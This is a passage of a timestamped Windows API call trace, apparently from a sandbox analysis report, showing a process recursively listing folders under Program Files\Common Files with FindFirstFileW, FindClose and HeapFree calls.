ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.547] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.548] GetProcessHeap () returned 0x6a0000 [0170.548] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.548] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.548] GetProcessHeap () returned 0x6a0000 [0170.548] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.548] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.548] GetProcessHeap () returned 0x6a0000 [0170.548] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.548] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.548] GetProcessHeap () returned 0x6a0000 [0170.548] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.549] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.549] GetProcessHeap () returned 0x6a0000 [0170.549] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.549] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.549] GetProcessHeap () returned 0x6a0000 [0170.549] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.549] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.549] GetProcessHeap () returned 0x6a0000 [0170.549] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.549] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.549] GetProcessHeap () returned 0x6a0000 [0170.550] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0170.551] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0170.552] GetProcessHeap () returned 0x6a0000 [0170.552] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0170.552] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.552] GetProcessHeap () returned 0x6a0000 [0170.552] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.552] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.552] GetProcessHeap () returned 0x6a0000 [0170.552] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.552] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.552] GetProcessHeap () returned 0x6a0000 [0170.552] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.552] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.553] GetProcessHeap () returned 0x6a0000 [0170.553] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.554] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.554] GetProcessHeap () returned 0x6a0000 [0170.554] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.555] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.555] GetProcessHeap () returned 0x6a0000 [0170.555] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0170.751] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0170.751] GetProcessHeap () returned 0x6a0000 [0170.751] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0170.751] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.751] GetProcessHeap () returned 0x6a0000 [0170.751] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.751] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.752] GetProcessHeap () returned 0x6a0000 [0170.752] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.753] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.753] GetProcessHeap () returned 0x6a0000 [0170.753] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.753] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.754] GetProcessHeap () returned 0x6a0000 [0170.754] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0170.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2c3e6f0 | out: lpFindFileData=0x2c3e6f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0170.757] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0170.757] GetProcessHeap () returned 0x6a0000 [0170.757] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0170.757] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0170.757] GetProcessHeap () returned 0x6a0000 [0170.757] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0170.757] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.757] GetProcessHeap () returned 0x6a0000 [0170.757] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.758] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.758] GetProcessHeap () returned 0x6a0000 [0170.758] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0170.760] FindClose (in: hFindFile=0x731098 | out: hFindFile=0x731098) returned 1 [0170.760] GetProcessHeap () returned 0x6a0000 [0170.760] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3701518 | out: hHeap=0x6a0000) returned 1 [0170.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.761] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.761] GetProcessHeap () returned 0x6a0000 [0170.761] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0170.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0170.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2c3e6f0 | out: lpFindFileData=0x2c3e6f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0170.764] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0170.764] GetProcessHeap () returned 0x6a0000 [0170.765] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0170.765] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0170.765] GetProcessHeap () returned 0x6a0000 [0170.765] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3701518 | out: hHeap=0x6a0000) returned 1 [0170.765] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0170.765] GetProcessHeap () returned 0x6a0000 [0170.765] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0170.765] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.765] GetProcessHeap () returned 0x6a0000 [0170.765] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0170.767] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.767] GetProcessHeap () returned 0x6a0000 [0170.767] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0171.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, 